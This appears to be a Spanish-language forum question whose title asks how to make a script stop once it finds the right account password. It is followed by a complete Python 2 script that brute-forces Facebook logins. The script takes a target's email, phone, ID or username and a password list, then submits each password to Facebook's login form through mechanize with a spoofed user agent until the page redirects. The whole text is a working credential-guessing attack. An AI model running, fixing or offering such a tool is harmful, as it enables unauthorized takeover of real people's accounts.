Python - hacer que se detenga cuando encuentre el pass adecuado de la cuenta

import sys

import random

import mechanize

import cookielib

GHT = '''

'''

email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : "))

passwordlist = str(raw_input("Enter the name of the password list file : "))

useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]

login = 'https://www.facebook.com/login.php?login_attempt=1'

def attack(password):

  try:

     sys.stdout.write("\r[*] trying %s " % password)

     sys.stdout.flush()

     br.addheaders = [('User-agent', random.choice(useragents))]

     site = br.open(login)

     br.select_form(nr=0)

     ##Facebook

     br.form['email'] =email

     br.form['pass'] = password

     br.submit()

     log = br.geturl()

     if log != login:

        print "\n\n\n [*] Password found .. !!"

        print "\n [*] Password : %s\n" % (password)

        sys.exit(1)

  except KeyboardInterrupt:

        print "\n[*] Exiting program .. "

        sys.exit(1)

def search():

    global password

    for password in passwords:

        attack(password.replace("\n",""))

def check():

    global br

    global passwords

    try:

       br = mechanize.Browser()

       cj = cookielib.LWPCookieJar()

       br.set_handle_robots(False)

       br.set_handle_equiv(True)

       br.set_handle_referer(True)

       br.set_handle_redirect(True)

       br.set_cookiejar(cj)

       br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)

    except KeyboardInterrupt:

       print "\n[*] Exiting program ..\n"

       sys.exit(1)

    try:

       list = open(passwordlist, "r")

       passwords = list.readlines()

       k = 0

       while k < len(passwords):

          passwords[k] = passwords[k].strip()

          k += 1

    except IOError:

        print "\n [*] Error: check your password list path \n"

        sys.exit(1)

    except KeyboardInterrupt:

        print "\n [*] Exiting program ..\n"

        sys.exit(1)

    try:

        print GHT

        print " [*] Account to crack : %s" % (email)

        print " [*] Loaded :" , len(passwords), "passwords"

        print " [*] Cracking, please wait ..."

    except KeyboardInterrupt:

        print "\n [*] Exiting program ..\n"

        sys.exit(1)

    try:

        search()

        attack(password)

    except KeyboardInterrupt:

        print "\n [*] Exiting program ..\n"

        sys.exit(1)

if __name__ == '__main__':

    check()